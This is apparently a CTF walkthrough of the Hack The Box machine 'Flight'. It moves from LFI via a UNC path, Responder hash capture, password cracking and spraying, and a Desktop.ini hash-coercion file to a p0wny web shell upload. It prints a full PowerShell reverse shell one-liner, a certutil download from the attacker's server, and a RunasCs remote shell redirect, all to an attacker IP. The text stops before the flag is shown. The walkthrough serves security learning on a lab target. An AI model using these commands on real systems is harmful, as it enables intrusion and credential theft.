| smb2-time: 
|   date: 2023-10-21T15:57:49
|_  start_date: N/A
|_clock-skew: 6h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 232.72 seconds

we see that the nmap scan identifies the domain flight.htb so we added that to the the list of our /etc/hosts file through...

echo "10.129.215.167 flight.htb" | sudo tee -a /etc/hosts

so what this does is... it will append the detail 10.129.21.127 flight.htb to the hosts file.

Enumeration

so we begin our enumeration by checking out port 80/tcp and we see the webpage

Using the Wappalyzer plugin, it detects the operating system as "Windows Server". It has provided some insights into the backend technology stack used for hosting the website.

This detail is interesting... we will just take note of it. After doing enumeration on the webpage itself we don't get much.... we even do a directory brute force to try and identify directories that can be of use to us but we don't get.

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/isayar17_x401a/.dirsearch/reports/flight.htb/_23-10-21_12-19-25.txt

Error Log: /home/isayar17_x401a/.dirsearch/logs/errors-23-10-21_12-19-25.log

Target: http://flight.htb/

[12:19:27] Starting: 
[12:19:31] 301 -  329B  - /js  ->  http://flight.htb/js/
[12:19:31] 403 -  299B  - /%3f/
[12:19:31] 403 -  299B  - /%C0%AE%C0%AE%C0%AF
[12:19:31] 403 -  299B  - /%ff
[12:19:39] 403 -  299B  - /.ht_wsr.txt
[12:19:39] 403 -  299B  - /.htaccess_sc
[12:19:39] 403 -  299B  - /.htaccessBAK
[12:19:39] 403 -  299B  - /.htaccessOLD
[12:19:39] 403 -  299B  - /.htaccessOLD2
[12:19:39] 403 -  299B  - /.html
[12:19:39] 403 -  299B  - /.htm
[12:19:39] 403 -  299B  - /.htpasswds
[12:19:39] 403 -  299B  - /.htpasswd_test
[12:19:39] 403 -  299B  - /.httr-oauth
[12:19:39] 403 -  299B  - /.htaccess.bak1
[12:19:39] 403 -  299B  - /.htaccess.sample
[12:19:39] 403 -  299B  - /.htaccess.orig
[12:19:39] 403 -  299B  - /.htaccess.save
[12:19:39] 403 -  299B  - /.htaccess_extra
[12:19:39] 403 -  299B  - /.htaccess_orig
[12:19:58] 403 -  299B  - /Trace.axd::$DATA
[12:20:31] 403 -  299B  - /cgi-bin/
[12:20:32] 200 -    1KB - /cgi-bin/printenv.pl
[12:20:37] 301 -  330B  - /css  ->  http://flight.htb/css/
[12:20:47] 503 -  399B  - /examples
[12:20:47] 503 -  399B  - /examples/
[12:20:47] 503 -  399B  - /examples/jsp/%252e%252e/%252e%252e/manager/html/
[12:20:47] 503 -  399B  - /examples/jsp/snp/snoop.jsp
[12:20:47] 503 -  399B  - /examples/servlets/servlet/RequestHeaderExample
[12:20:47] 503 -  399B  - /examples/servlet/SnoopServlet
[12:20:47] 503 -  399B  - /examples/servlets/index.html
[12:20:47] 503 -  399B  - /examples/servlets/servlet/CookieExample
[12:20:54] 301 -  333B  - /images  ->  http://flight.htb/images/
[12:20:54] 200 -    5KB - /images/
[12:20:56] 200 -    7KB - /index.html
[12:20:56] 403 -  299B  - /index.php::$DATA
[12:20:59] 200 -    3KB - /js/
[12:21:16] 403 -  418B  - /phpmyadmin/doc/html/index.html
[12:21:16] 403 -  418B  - /phpmyadmin/ChangeLog
[12:21:16] 403 -  418B  - /phpmyadmin/docs/html/index.html
[12:21:16] 403 -  418B  - /phpmyadmin/README
[12:21:17] 403 -  418B  - /phpmyadmin
[12:21:19] 403 -  418B  - /phpmyadmin/
[12:21:19] 403 -  418B  - /phpmyadmin/phpmyadmin/index.php
[12:21:19] 403 -  418B  - /phpmyadmin/scripts/setup.php
[12:21:19] 403 -  418B  - /phpmyadmin/index.php
[12:21:27] 403 -  418B  - /server-status
[12:21:27] 403 -  418B  - /server-status/
[12:21:27] 403 -  418B  - /server-info
[12:21:45] 403 -  299B  - /web.config::$DATA
[12:21:46] 403 -  418B  - /webalizer

Task Completed

so we move on to sub-domain enumeration using wfuzz, the command used is:

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://flight.htb/" -H "Host: FUZZ.flight.htb" --hl 154

so the breakdown of the command is as follows:

-c: This option tells wfuzz to display the output in color. It enhances the readability of the results by highlighting different parts of the output.

-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt: This parameter specifies the wordlist file to be used for fuzzing. In this case, the file /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt is being used. This file likely contains a list of subdomains that will be tested against the target URL.

-u "http://flight.htb/": This option specifies the target URL that will be fuzzed. In this case, the URL is http://flight.htb/. The tool will replace the FUZZ keyword in the Host header with the subdomains from the wordlist to test for existence or other potential vulnerabilities.

-H "Host: FUZZ.flight.htb": This parameter sets the Host header for the HTTP request. The FUZZ keyword will be replaced by each subdomain from the wordlist during the fuzzing process. This allows the tool to test different subdomains by substituting them in the Host header.

--hl 154: This option sets the maximum content length (in bytes) that the server response can have. If the response length exceeds this value, it will be truncated. In this case, the value is set to 154.

we get the output as:

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://flight.htb/" -H "Host: FUZZ.flight.htb" --hl 154
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://flight.htb/
Total requests: 19966

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                              
=====================================================================

000000624:   200        90 L     412 W      3996 Ch     "school"

The sub-domain school was identified... so we added the virtual host school.flight.htb to our /etc/hosts file... use a text editor of your choice to add the sub-domain.

once we add that and go and visit the webpage http://school.flight.htb we see:

From here we continue our enumeration.

Exploiting LFI

During our enumeration, we see that the options Home, About Us and Blog are functional and when clicked they use the parameter ?view= on the index.php to load the page. Take for example Home

http://school.flight.htb/index.php?view=home.html

LFI

Local File Inclusion (LFI) vulnerabilities enable an attacker to read arbitrary files on the server that is running an application. In an LFI attack, an attacker can exploit the vulnerability to access and read files that are present on the server, which may include sensitive system files, configuration files, or application source code. This unauthorized access to files can potentially lead to the exposure of critical information or further exploitation of the system.

The URL structure suggests that the HTML page displayed is incorporated into the "index.php" file through the "view" parameter. This configuration is often susceptible to Local File Inclusion (LFI) attacks. Remember since the Operating system that was detected on the machine was Windows... we can attempt to access and read the "C:\Windows\System32\drivers\etc\networks" file by specifying this path in the "view" parameter.

http://school.flight.htb/index.php?view=C:\Windows\System32\drivers\etc\networks

since we had information that the operating system was Windows when we tried to go the normal way of accessing a path on Windows C:\Windows\System32\drivers\etc\hosts we see that our activity is being blocked... looks like a mitigation has been put in place but still, we can access a path on Windows using the / it does not always have to be \ . Let's see if a mitigation had been put in place for this too.

# Copyright (c) 1993-1999 Microsoft Corp. # # This file contains network name/network number mappings for # local networks. Network numbers are recognized in dotted decimal form. # # Format: # # [aliases...] [#] # # For example: # # loopback 127 # campus 284.122.107 # london 284.122.108 loopback 127

So when we change the \ to be / we see that we get output... this means that during mitigation they only had \ in mind but not /.

Now considering this to be a Windows machine... This is somewhat of a huge vulnerability, to be honest. We can explore loading a file from a UNC (Universal Naming Convention) path.

UNC (Universal Naming Convention) path

A UNC path is a standardized way to identify network resources, typically shared files and folders, in a format that is accessible across different systems. It uses a double backslash "//" followed by the name or IP address of the machine and the path to the shared resource. UNC paths are often used in Windows environments to access files and directories on network shares or remote systems.

If successful, the machine will be compelled to authenticate itself to access the shared resource we specify but the twist is that we can intercept this using responder to get the hash that will be used for authentication.

sudo responder -I tun0 -v
Swipe your finger across the fingerprint reader
^C[sudo] password for isayar17_x401a: 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.16.20]
    Responder IPv6             [dead:beef:4::1012]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-GK2OTN9S1UH]
    Responder Domain Name      [UBRS.LOCAL]
    Responder DCE-RPC Port     [48739]

[+] Listening for events...

now we specify that the unc path to be accessed will be... //10.10.16.20/meme

http://school.flight.htb/index.php?view=//10.10.16.20/meme

and when we go back to check on responder we get the hash belonging to the service account apache:

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.129.215.167
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash     : svc_apache::flight:25386ad3ab3e876f:578BFEBE0906286F290EBD66E5923267:010100000000000000C2C3472A04DA0179243347A43CFD620000000002000800550042005200530001001E00570049004E002D0047004B0032004F0054004E003900530031005500480004003400570049004E002D0047004B0032004F0054004E00390053003100550048002E0055004200520053002E004C004F00430041004C000300140055004200520053002E004C004F00430041004C000500140055004200520053002E004C004F00430041004C000700080000C2C3472A04DA0106000400020000000800300030000000000000000000000000300000FCA96C2613B1D4AD0ECAEEEAF245474C104D9897A87946C198AF6FCC7211B5990A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00320030000000000000000000

Password Cracking

Now we take the hash and save it to a file hash and then using JohnTheRipper we try to crack the hash.

john --wordlist=/usr/share/wordlists/rockyou.txt  hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
S@Ss!K@*t13      (svc_apache)     
1g 0:00:00:08 DONE (2023-10-21 14:34) 0.1242g/s 1324Kp/s 1324Kc/s 1324KC/s SADSAM..S42150461
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

so we get the username and password as:

username:svc_apache
password:S@Ss!K@*t13

using these credentials we continue with our enumeration on SMB:

crackmapexec smb flight.htb -u svc_apache -p 'S@Ss!K@*t13' --shares

unfortunately, we found out we don't have any write access as the service account that we are and trying to go further through SMB is just a rabbit hole that we get ourselves into.

We move on to using the credentials to do our enumeration through rpc we saw the port was open, remember the nmap scan

rpcclient -U 'svc_apache'   10.129.215.167

when prompted for the password just enter S@Ss!K@*t13. Now once we are in I began by enumerating the domain users through enumdomusers, I even did enumdomains and enumdomgroups

 rpcclient -U 'svc_apache'   10.129.215.167
Password for [WORKGROUP\svc_apache]:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[S.Moon] rid:[0x642]
user:[R.Cold] rid:[0x643]
user:[G.Lors] rid:[0x644]
user:[L.Kein] rid:[0x645]
user:[M.Gold] rid:[0x646]
user:[C.Bum] rid:[0x647]
user:[W.Walker] rid:[0x648]
user:[I.Francis] rid:[0x649]
user:[D.Truff] rid:[0x64a]
user:[V.Stevens] rid:[0x64b]
user:[svc_apache] rid:[0x64c]
user:[O.Possum] rid:[0x64d]
rpcclient $> enumdomains
name:[flight] idx:[0x0]
name:[Builtin] idx:[0x0]
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44f]
group:[WebDevs] rid:[0x64e]

we got a lot of juicy info, especially information on the domain users. Now, remember that the account that we have credentials for is svc_apache a service account that may have been set up by a particular user... maybe the user can be in the domain users we have obtained... and one thing for sure is, that people tend to reuse their passwords most of the time, people who do not consider cyber security thaaat much 💀 we can test for password reuse by doing a password spraying attack using the password S@Ss!K@*t13

Password spaying attack

A password spraying attack is a type of brute-force attack where an attacker tries a limited set of commonly used passwords against many user accounts, aiming to access one with a weak password without triggering account lockouts or alarms.

Always be sure to check the account lockout threshold of the accounts you get access to:

crackmapexec smb flight.htb -u svc_apache -p 'S@Ss!K@*t13' --pass-pol
SMB         flight.htb      445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         flight.htb      445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         flight.htb      445    G0               [+] Dumping password info for domain: flight
SMB         flight.htb      445    G0               Minimum password length: 7
SMB         flight.htb      445    G0               Password history length: 24
SMB         flight.htb      445    G0               Maximum password age: 41 days 23 hours 53 minutes 
SMB         flight.htb      445    G0               
SMB         flight.htb      445    G0               Password Complexity Flags: 000001
SMB         flight.htb      445    G0                   Domain Refuse Password Change: 0
SMB         flight.htb      445    G0                   Domain Password Store Cleartext: 0
SMB         flight.htb      445    G0                   Domain Password Lockout Admins: 0
SMB         flight.htb      445    G0                   Domain Password No Clear Change: 0
SMB         flight.htb      445    G0                   Domain Password No Anon Change: 0
SMB         flight.htb      445    G0                   Domain Password Complex: 1
SMB         flight.htb      445    G0               
SMB         flight.htb      445    G0               Minimum password age: 1 day 4 minutes 
SMB         flight.htb      445    G0               Reset Account Lockout Counter: 30 minutes 
SMB         flight.htb      445    G0               Locked Account Duration: 30 minutes 
SMB         flight.htb      445    G0               Account Lockout Threshold: None
SMB         flight.htb      445    G0               Forced Log off Time: Not Set

In our case for this account, we see that there is no lockout Threshold... This is just a bytheway...

Now back to where we were... we copy the output of enumdomusers to a new file users and using some bash scripting we do a clean-up so that we can only obtain the users.

The new file will contain:

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[S.Moon] rid:[0x642]
user:[R.Cold] rid:[0x643]
user:[G.Lors] rid:[0x644]
user:[L.Kein] rid:[0x645]
user:[M.Gold] rid:[0x646]
user:[C.Bum] rid:[0x647]
user:[W.Walker] rid:[0x648]
user:[I.Francis] rid:[0x649]
user:[D.Truff] rid:[0x64a]
user:[V.Stevens] rid:[0x64b]
user:[svc_apache] rid:[0x64c]
user:[O.Possum] rid:[0x64d]

we do a clean-up using the script

cat users | awk '{print NR, $1}' | cut -d '[' -f2 | cut -d  ']' -f1 | tee users_clean

the script does:

cat users: Reads the content of a file named "users."

awk '{print NR, $1}': Adds line numbers to each line of the file, separated by spaces.

cut -d '[' -f2: Splits each line using '[' as the delimiter and selects the second part. cut -d ']' -f1: Splits the result using ']' as the delimiter and selects the first part. tee users_clean: Writes the modified output to a new file named "users_clean" while also displaying it on the terminal.

now using crackmapexec we perform password spraying

crackmapexec smb flight.htb -u users_clean  -p 'S@Ss!K@*t13' --continue-on-success
SMB         flight.htb      445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         flight.htb      445    G0               [-] flight.htb\Administrator:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\Guest:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\krbtgt:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13 
SMB         flight.htb      445    G0               [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] Connection Error: The NETBIOS connection with the remote host timed out.
SMB         flight.htb      445    G0               [-] Connection Error: The NETBIOS connection with the remote host timed out.
SMB         flight.htb      445    G0               [-] flight.htb\I.Francis:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [-] flight.htb\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         flight.htb      445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         flight.htb      445    G0               [-] flight.htb\O.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE

and through this attack, we see the personal account of the user S.Moon contains the same password.

Now we have a new set of creds

username: S.Moon
password: S@Ss!K@*t13

now lets use the credentials in enumeration...

we begin with smb enumeration:

crackmapexec smb flight.htb -u S.Moon  -p 'S@Ss!K@*t13'  --shares
SMB         flight.htb      445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         flight.htb      445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13 
SMB         flight.htb      445    G0               [+] Enumerated shares
SMB         flight.htb      445    G0               Share           Permissions     Remark
SMB         flight.htb      445    G0               -----           -----------     ------
SMB         flight.htb      445    G0               ADMIN$                          Remote Admin
SMB         flight.htb      445    G0               C$                              Default share
SMB         flight.htb      445    G0               IPC$            READ            Remote IPC
SMB         flight.htb      445    G0               NETLOGON        READ            Logon server share 
SMB         flight.htb      445    G0               Shared          READ,WRITE      
SMB         flight.htb      445    G0               SYSVOL          READ            Logon server share 
SMB         flight.htb      445    G0               Users           READ            
SMB         flight.htb      445    G0               Web             READ

now we see that we have READ,WRITE access on the Shared share.

Inside the Shared share we don't find anything

 smbclient //10.129.250.20/Shared -U S.Moon
Password for [WORKGROUP\S.Moon]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Oct 21 23:05:57 2023
  ..                                  D        0  Sat Oct 21 23:05:57 2023

                5056511 blocks of size 4096. 1252715 blocks available
smb: \>

The Shared share seems to be accessed by many users and since we have write access to it there is a possibility we can upload a malicious file that can enable us to steal NTLM credentials.

The anatomy of this attack is that the malicious file will be calling back to me and during the process of calling back it will be performing an authentication... just as we intercepted the first authentication we will do the same for this.

So using the knowledge we have obtained from this blog we will create a malicious Desktop.ini file that will call back to us and during authentication we will steal its NTLM hash.

Make sure to use IconResource instead of IconFile, IconFile is for WindowsXP systems and this is not such a system in 2023😂

[.ShellClassInfo]
IconResource=\\10.10.16.20\meme
IconIndex=1337

now we put the file in the Shared share through smbclient and since the Shared share is accessed by many users, when a user interacts with the file, authentication will happen and when intercepted we will receive the NTLM hash.

smbclient //10.129.250.20/Shared -U S.Moon
Password for [WORKGROUP\S.Moon]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Oct 21 23:35:00 2023
  ..                                  D        0  Sat Oct 21 23:35:00 2023

                5056511 blocks of size 4096. 1252919 blocks available
smb: \> put Desktop.ini
putting file Desktop.ini as \Desktop.ini (0.0 kb/s) (average 0.0 kb/s)

once we successfully put the Desktop.ini file in the Shared share, a user c.bum interacted with our file and in the process of authentication we received the hash...

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.129.250.20
[SMB] NTLMv2-SSP Username : flight.htb\c.bum
[SMB] NTLMv2-SSP Hash     : c.bum::flight.htb:e0aac973a404aa8d:E2C8A6F4E6E6C204FA6157DF8CE77359:0101000000000000006134ED3D04DA01F099C1B07B10CD2300000000020008005400590059004A0001001E00570049004E002D0030003200340059004300580052004C0057003200510004003400570049004E002D0030003200340059004300580052004C005700320051002E005400590059004A002E004C004F00430041004C00030014005400590059004A002E004C004F00430041004C00050014005400590059004A002E004C004F00430041004C0007000800006134ED3D04DA0106000400020000000800300030000000000000000000000000300000587B78CF1DEE5EC3F23E73C1A5F30AD63E3609BFFA94C403CEDDE533AAF039420A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00320030000000000000000000

Password Cracking again!

now using JohnTheRipper we try crack the hash using the rockyou.txt wordlist...

john --wordlist=/usr/share/wordlists/rockyou.txt  hash2    
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Tikkycoll_431012284 (c.bum)     
1g 0:00:00:07 DONE (2023-10-21 16:56) 0.1383g/s 1457Kp/s 1457Kc/s 1457KC/s TinyMutt69..Tiffani29
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

and we get the credentials as:

username:c.bum
password:Tikkycoll_431012284

now using these credentials we do enumeration once more...

we do our enumeration through smb and we get the ouput as:

rackmapexec smb flight.htb -u c.bum  -p 'Tikkycoll_431012284'  --shares
SMB         flight.htb      445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         flight.htb      445    G0               [+] flight.htb\c.bum:Tikkycoll_431012284 
SMB         flight.htb      445    G0               [+] Enumerated shares
SMB         flight.htb      445    G0               Share           Permissions     Remark
SMB         flight.htb      445    G0               -----           -----------     ------
SMB         flight.htb      445    G0               ADMIN$                          Remote Admin
SMB         flight.htb      445    G0               C$                              Default share
SMB         flight.htb      445    G0               IPC$            READ            Remote IPC
SMB         flight.htb      445    G0               NETLOGON        READ            Logon server share 
SMB         flight.htb      445    G0               Shared          READ,WRITE      
SMB         flight.htb      445    G0               SYSVOL          READ            Logon server share 
SMB         flight.htb      445    G0               Users           READ            
SMB         flight.htb      445    G0               Web             READ,WRITE

For the user c.bum we see that we have READ,WRITE access on the Web share and the Shared share... The Web share seems interesting to be honest and on checking it out we see...

smbclient //10.129.250.20/Web -U c.bum
Password for [WORKGROUP\c.bum]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Oct 22 00:12:00 2023
  ..                                  D        0  Sun Oct 22 00:12:00 2023
  flight.htb                          D        0  Sun Oct 22 00:12:00 2023
  school.flight.htb                   D        0  Sun Oct 22 00:12:00 2023

                5056511 blocks of size 4096. 1251726 blocks available
smb: \>

This is really beautiful 🤩... a chance to upload a web shell since what we upload here will be seen on the web... the two virtual hosts flight.htb and school.flight.htb is here showing we have access to the web.

Now the web shell that we will be uploading is called p0wny-shell . Clone the git repo and upload the shell.php file on the Web share... you can upload it on either flight.htb or school.flight.htb and then access the file on your web browser through http://school.flight.htb/shell.php

smbclient //10.129.250.20/Web -U c.bum
Password for [WORKGROUP\c.bum]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Oct 22 00:22:00 2023
  ..                                  D        0  Sun Oct 22 00:22:00 2023
  flight.htb                          D        0  Sun Oct 22 00:22:00 2023
  school.flight.htb                   D        0  Sun Oct 22 00:22:00 2023
cd 
                5056511 blocks of size 4096. 1251454 blocks available
smb: \> cd school.flight.htb
smb: \school.flight.htb\> put shell.php
putting file shell.php as \school.flight.htb\shell.php (10.9 kb/s) (average 10.9 kb/s)

now after uploading and visiting the webpage http://school.flight.htb/shell.php we get

whomai we see that we have a shell as svc_apache

NB: The web shell is not durable due to a clean-up script it gets removed after a while so the file shell.php file can be uploaded time and again.

now for a more stable shell, we try and execute a PowerShell reverse shell #2 from revshells.com and we will start our netcut listener to listen on port 4444

rlwrap ncat -lvnp 4444 
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444

the listener listening on port 4444, is now back to p0wny@shell we use the PowerShell reverse shell

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.16.20',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

$client = New-ObjectSystem.Net.Sockets.TCPClient('10.10.16.20',4444): This command creates a new TCP client object that connects to the IP address '10.10.16.20' on port '4444'. It establishes a network connection to the attacker's machine.

$stream = $client.GetStream(): This line gets the network stream associated with the TCP client, enabling data exchange between the local and remote systems.

[byte[]]$bytes = 0..65535|%{0}: Here, an array of bytes is created to hold data received from the attacker. It allocates memory for up to 65,536 bytes.

The subsequent lines within the while loop reads incoming data from the attacker through the network stream, converts it from bytes to text, executes the received text as a PowerShell command using iex (Invoke-Expression), captures the command's output, and sends that output back to the attacker.

$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ': This line prepares the response to be sent back to the attacker, adding a prompt for the next command. $sendback contains the command's output, and (pwd).Path is the current working directory.

$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2): This command converts the response into bytes, ready for transmission.

$stream.Write($sendbyte,0,$sendbyte.Length): It writes the response data to the network stream, sending it back to the attacker.

$stream.Flush(): This command ensures that any remaining data is sent over the network.

$client.Close(): Finally, the connection is closed, ending the interaction with the attacker.

after the execution, we successfully received a shell...

rlwrap ncat -lvnp 4444 
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.250.20:55272.
dir


    Directory: C:\xampp\htdocs\school.flight.htb


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----       10/21/2023   2:47 PM                images                                                                
d-----       10/21/2023   2:47 PM                styles                                                                
-a----       10/24/2022   8:54 PM           1689 about.html                                                            
-a----       10/24/2022   8:53 PM           3618 blog.html                                                             
-a----       10/24/2022   8:56 PM           2683 home.html                                                             
-a----       10/27/2022  12:59 AM           2092 index.php                                                             
-a----       10/27/2022  12:55 AM            179 lfi.html                                                              
-a----       10/21/2023   2:47 PM          20321 shell.php                                                             


PS C:\xampp\htdocs\school.flight.htb>

Lateral Movement

The shell we have received is for the account svc_apache which does not have many privileges. So using the tool RunasCs we will execute netcut as the user c.bum who has more privileges than the user we have.

RunasCs

RunasCs is a versatile utility that allows users to run specific processes with different permissions than their current login, using explicit credentials. It overcomes the limitations of the built-in Windows "runas.exe" by supporting explicit credentials, working from both interactive and service processes, and properly managing permissions for the creation of new processes. The tool selects the best method to create a process based on the caller's token permissions, with a preference for more reliable functions like "CreateProcessAsUser()" and "CreateProcessWithTokenW()" when available. It provides options for specifying the logon type, bypassing UAC (User Account Control), and even redirecting input and output to a remote host.

to upload RunasCs we will move to the temp directory c:\windows\temp make a directory called privesc and then using certutil we will upload the RunasCs.exe binary on the machine... make sure you have started a simple Python server to host your file... the one you will be downloading using certutil on the victim PC.

we start our simple Python server to host our RunasCs.exe binary...

python3 -m http.server 8080 
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Then using certutil we download the binary on the victim machine...

PS C:\windows\temp\privesc> certutil.exe -urlcache -split -f http://10.10.16.20:8080/RunasCs.exe RunasCs.exe
****  Online  ****
  0000  ...
  c000
CertUtil: -URLCache command completed successfully.

Then we start another Netcat listener on port 4443 this time...

rlwrap ncat -lvnp 4443
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4443
Ncat: Listening on 0.0.0.0:4443

now using RunasCs:

.\RunasCs.exe c.bum Tikkycoll_431012284 powershell -r 10.10.16.20:4443
[*] Warning: Using function CreateProcessWithLogonW is not compatible with logon type 8. Reverting to logon type Interactive (2)...
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-79dea$\Default
[+] Async process 'powershell' with pid 3744 created and left in background.

The command .\RunasCs.exe c.bum Tikkycoll_431012284 powershell -r 10.10.16.20:4443 runs a PowerShell session on the victim's computer under the "c.bum" user account and redirects its input and output to a remote host at IP "10.10.16.20" and port "4443," allowing someone to control and interact with the PowerShell session remotely and since we had started the netcat listener on port 4443 we get a connection... this time we are the user c.bum

rlwrap ncat -lvnp 4443
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4443
Ncat: Listening on 0.0.0.0:4443
Ncat: Connection from 10.129.250.20:61291.
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
flight\c.bum
PS C:\Windows\system32>

and we get the user flag as:

